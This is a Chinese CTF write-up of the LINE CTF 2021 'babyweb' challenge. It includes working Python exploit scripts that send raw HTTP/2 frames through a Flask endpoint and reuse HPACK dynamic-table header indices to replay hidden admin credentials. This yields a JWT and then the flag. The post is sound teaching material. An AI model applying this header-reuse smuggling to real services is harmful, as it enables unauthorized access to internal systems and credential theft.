哈喽,大家好,我是童话。
最近一段时间一直没更新博客[1],一方面是自己懒了,另一方面是由于工作性质的原因,很多工作中有趣的事情也不方便拿出来讲,又没有特别大块的时间去系统的搞一些独立项目、安全研究等,更新博客的事情便一拖再拖。
前阵子偶然看到 @Panda 师傅的公众号,更新频率以及质量都很高,至少我读过之后还是蛮有收获的,能在保持如此更新频率的情况下,还要兼顾质量,对于一个工作党来说,我个人认为这一点非常难得,并且是值得学习的。
说来惭愧,自己在 3 年前也注册过公众号,遗憾的是至今没有更新过一篇文章。
每次写博客的时候,我都在想要输出什么样的内容,最开始写东西的时候我都会事无巨细的写下来,包括操作流程、思考的过程。
有一段时间看到其他博主在写文章的时候只展示关键的操作步骤,并遗漏掉思考的过程,我发现很多安全学术界的论文也有这种现象。
这就导致了一个问题,从读者的角度来看,对于不熟悉的垂直领域,看到这样的文章,乍一看不明觉厉,实际操作起来没有办法复现,干着急,如果读者对这个领域比较熟悉的话,文章本身对他来说又没有特别多的价值,食之无味,弃之可惜。
我也曾经也模仿过这种写作风格,但我发现,这都不是我自己。前阵子在参加 Hacking Club 沙龙的时候,@Snowming 也和我说过,写文章的时候要考虑读者的感受,这样才能保证大家都有收获。
我想确实是这样的,至少几个月之后回头来看,我自己还是可以顺着整个文章完整的对某一个技术点进行复现。
在现实生活中,我并不是一个擅长表达的人,也很少去和朋友谈及我对某一件事情的看法和感受。思来想去,还是决定把这个公众号运营起来,对于这个公众号的定位,一来是分享一些不会太长但绝对有趣的安全技术知识点,另一方面也是向朋友们汇报一下我的近况,互通有无。
对于实时安全漏洞/事件跟进,我也许会发,也许不会发,虽然我很擅长这些,但是我确实不想在公众号运营上花费太多的时间。
好了,啰嗦了这么多,进入今天的正题,来聊一聊 LINE CTF 2021 [2] 中 babyweb 这道题。
(比较有意思的是,在比赛开始之前,我的赛棍学弟 @T4rn 师傅跟我聊到的几个 Web 安全考点,几乎全部命中了。)
先来看一下题目:
Hint: babyweb/Neko is cute
黑盒大概浏览一下,功能比较简单,【Home】主页,【Note】添加和浏览笔记,直接暴露在外部的就没有其他的功能点了。
翻一下代码,这里比较银杏化的一点是,LINE CTF 的 Web 题目都是用 Docker 搭建的,我们可以把代码保存下来,未来可以用 Docker Compose 一键部署进行测试学习。
本地运行环境(我用的是 CentOS 7,需要提前安装好 Docker 和 Docker Compose):
sudo yum remove docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine
sudo yum install -y yum-utils
sudo yum-config-manager \
--add-repo \
https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install docker-ce docker-ce-cli containerd.io
sudo systemctl start docker
sudo yum install docker-compose -y
bash run.sh
如果你的操作系统默认的 Python 为 python2,运行上述命令时,会报错误“SyntaxError: invalid syntax”,修改 run.sh 中的 python 为 python3 即可解决。
浏览了一下 run.sh、gen.py、docker-compose_tmp.yml 这 3 个文件,运行环境由 3 个 service 支撑,分别为 babyweb_public、babyweb_internal、babyweb_httpd。
由端口映射情况可知,babyweb_httpd 为我们刚刚访问,暴露在外部的服务。由环境变量的设置情况可知,Flag 埋在 babyweb_internal 服务中。
检查在 /home/centos/CTF 目录下所有文本文件中包含 12000、12001 的行号:
grep -rnw '/home/centos/CTF' -e '12000'
grep -rnw '/home/centos/CTF' -e '12001'
通过 httpd/httpd.conf 的文件内容(L552-L563)可知,babyweb_httpd 为一个反向代理,将请求转发到后端的 http://babyweb\_public:12000/ 中。
<VirtualHost *:80>
ErrorDocument 503 "NOP"
ErrorDocument 502 "NOP"
ErrorDocument 501 "NOP"
ErrorDocument 401 "NOP"
ErrorDocument 400 "NOP"
ProxyRequests Off
ProxyPreserveHost On
ProxyPass / http://babyweb_public:12000/
ProxyPassReverse / http://babyweb_public:12000/
</VirtualHost>
基于上述信息,猜测完整的交互情况为:外部用户访问 12001 端口(CTF 竞赛环境为 80,自建测试环境为 12001)的 babyweb_httpd 服务,babyweb_httpd 将请求转发至后端的 babyweb_public,babyweb_public 部分功能依赖 babyweb_internal,在某种情况下可以请求拿到 Flag。继续分析一下 public、internal 两个目录下的源码,public 是基于 Flask 开发的 Web 应用,internal 是一个 Node 应用。逆序梳理出获取 Flag 的思路如下, 请求 /flag 路由,在请求头中携带正确的 x-token 信息获取 Flag:
https://babyweb_internal:8443/flag -> router() -> getFlag() -> req.headers['x-token'] , checkToken() -> verify() -> decode() -> CONFIG.flag
请求 /auth 路由,在请求头中携带正确的用户名和密码信息,生成 JWT token:
https://babyweb_internal:8443/auth -> route() -> auth() -> -> req.headers[CONFIG.header.username], req.headers[CONFIG.header.password], authCheck() -> encode()
babyweb_public 是一个 Flask 应用,其通过 Blueprint 的方式定义了 /internal/health 路由(POST 请求),会向 https://babyweb\_internal:8443/auth 和 https://babyweb\_internal:8443/health 发起请求。我们可以采用如下 HTTP 报文,通过响应内容验证请求已经可以抵达后端 Node 应用:
POST /internal/health HTTP/1.1
Host: 35.187.196.233
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJ1aWQiOiJkZTBmZWJiNS1hYTk5LTQyZjktYWZlZS0yZTE1NTRmNjIzNGIifQ.YGAK1Q.-aUr8s8SrSq0bx6iKZz7D0MsSas
Upgrade-Insecure-Requests: 1
Content-Type: application/json;charset=utf8
Content-Length: 32
{"type": "1.1", "data": "222"}
接下来就是这道题的核心考点,public/src/internal.py#L45-L61:
elif data["type"] == "2":
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()
headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"]
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()
conn._new_stream()
conn._send_cb(data["data"].encode('latin-1'))
conn._sock.fill()
return conn._sock.buffer.tobytes()
再次梳理一下思路,突破这部分关键代码(public/src/internal.py#L57-L61),通过某种方式获取 JWT token,利用获取到的 JWT Token 请求获取 Flag。
Hyper 是一个基于 Python 实现的 HTTP/2 客户端 [7],_send_cb()
方法通过连接的 stream socket 发送任意数据,相关的源码为 [8],也就是说,我们可以利用_send_cb()
方法,在新的 stream 中,创建一个新的 HTTP 请求,即 data["data"].encode('latin-1')
中的内容。
说到这里,要简单科普一下 HTTP/2 中 stream 的概念。在 HTTP/2 中,一个 connection(连接) 被分为多个 stream,每一个 stream 携带单独的 request-response(请求-响应)对 [9],Hyper 确保每一个响应匹配到正确的请求中。HPACK 是 HTTP/2 用于压缩编码 Header 信息的压缩算法规范,hpack 是一个 Python 第三方库,提供 Python 接口实现 HPACK 压缩算法,用于压缩 HTTP/2 中的 HTTP Header [11]。
We also found out that HTTP2 has Huffman Coding and some of useful information can be re-referenced and re-used in the upcoming stream.[6]
HTTP/2 采用 Huffman 编码,在 upcoming stream 中一些有价值的信息可以被 re-referenced/re-used。
Hyper 压缩算法会将 HTTP Header 中的常用字符串用数字来代替 ,以此来减少 Header 中的字节数。这个 Huffman 编码是说,将一些高频次出现的数字采用更精简的字节来代替,比如对于数字 1 来说,我们可以采用 8 bit 的 1 个 byte 来表示,也可以直接采用 1 bit 来表示,以此来使 HTTP Header 的整体字节数更少。我们前面提到过,一个 HTTP/2 connection 包含多个 stream,每一个 stream 都会携带单独的 request-response(请求-响应)对,每一个 request 都存在一个 Header 信息,Header 中的字段可以视为 name-value 的有序集合,字段的顺序在经过 Hyper 压缩算法压缩前后顺序不变,所以此时,我们的思路就是通过遍历字段索引(index)方式即可获取到每一个 Header 字段。
(由于是在同一个 HTTP/2 connection 中,不同的 stream 的 Header 字段,由同一个有序集合进行维护。这里涉及到 Indexing Tables 的概念,一个 connection 维护一个 Indexing Tables,Static Table 为协议规定的 61 个 Index 是固定不变的,这道题目自定一的两个 Header 字段(x-user-{uuid4()}、x-pass-{uuid4()})为 Dynamic Table 表中的内容。关于这部分详细且权威的介绍,可以参考 RFC 文档。[12])
结合题目的代码来看,在 conn._new_stream()
这个新的 stream(upcoming stream) 创建之前,向 /auth 发起过请求,且之前的请求 Header 中是包含了正确的用户名和密码字段的,如果我们可以通过遍历 Header 字段索引(index)的办法 re-used(重用)这两个 Header 字段(x-user-{uuid4()}、x-pass-{uuid4()}),再次向 /auth 发起请求的话,就可以顺利拿到 JWT Token 了。构造获取 JWK Token 的利用代码如下:
import requests
import hpack
from hyperframe.frame import *
def header(id, idx):
enc = hpack.Encoder()
h1 = enc._encode_indexed(idx)
h2 = enc._encode_indexed(idx + 1)
ha = enc.encode({
':path': '/auth',
':method': 'GET' })
hb = enc.encode({
':authority': 'babyweb_internal',
':scheme': 'https'
})
h = ha + hb + h1 + h2
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p
sess = requests.Session()
HOST = '35.187.196.233'
for i in range(62, 128):
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(5, i)]).decode('latin-1'),
'type': '2'
})
content = r.content
print("")
print(i)
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
可以获取到 token 信息如下:
65
b'\x00\x00\x02\x01\x04\x00\x00\x00\x05\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x05{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0"}'
HeadersFrame(Stream: 5; Flags: END_HEADERS): 2
DataFrame(Stream: 5; Flags: END_STREAM): 171
剩下的内容就简单了,我们拿着获取到的 token 构造一个新的 HTTP/2 请求,相关漏洞利用代码如下:
import requests
import hpack
from hyperframe.frame import *
def header(id):
enc = hpack.Encoder()
h = enc.encode({
':path': '/flag',
':method': 'GET',
':authority': 'babyweb_internal',
':scheme': 'https',
'x-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0'
})
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p
sess = requests.Session()
HOST = '35.187.196.233'
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(5)]).decode('latin-1'),
'type': '2'
})
content = r.content
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
最终获取到 Flag 为:LINECTF{this_ch4ll_1s_really_baby_web}
这道题目还是蛮有意思的,总结一下,核心的考点是利用 HPACK 在同一个 connection 的不同的 stream 中使用相同的 Indexing Tables 这一特性导致的 Header 字段重用。
另外,目前,CTF 的线上环境仍然是有效的,有兴趣的读者可以直接访问做一些测试。我这边也将赛题环境和漏洞利用代码备份到了 Github 上留存,地址为:https://github.com/tonghuaroot/My-CTF-Web-Challenges/tree/main/LINE%20CTF%202021/babyweb
[1] TonghuaRoot's BloG. - Cyber security enthusiast, not Hacker. - https://tonghuaroot.com/
[2] LINE CTF 2021 https://linectf.me/
[3] What is the difference between docker-compose ports vs expose https://stackoverflow.com/questions/40801772/what-is-the-difference-between-docker-compose-ports-vs-expose
[4] How do I find all files containing specific text on Linux? https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux
[5] Install Docker Engine on CentOS https://docs.docker.com/engine/install/centos/
[6] LINE CTF 2021 Writeup - babyweb https://hackmd.io/@stypr233/linectf#babyweb
[7] Hyper: HTTP/2 Client for Python https://hyper.readthedocs.io/en/latest/index.html
[8] _send_cb() https://github.com/python-hyper/hyper/blob/development/hyper/http20/connection.py#L625-L642
[9] Streams https://hyper.readthedocs.io/en/latest/quickstart.html#streams
[10] HPACK和twitter hpack源码解析 https://www.jianshu.com/p/96f21b9b4fd5
[11] hpack: HTTP/2 Header Compression for Python https://python-hyper.org/projects/hpack/en/stable/
[12] Indexing Tables https://tools.ietf.org/html/rfc7541#section-2.3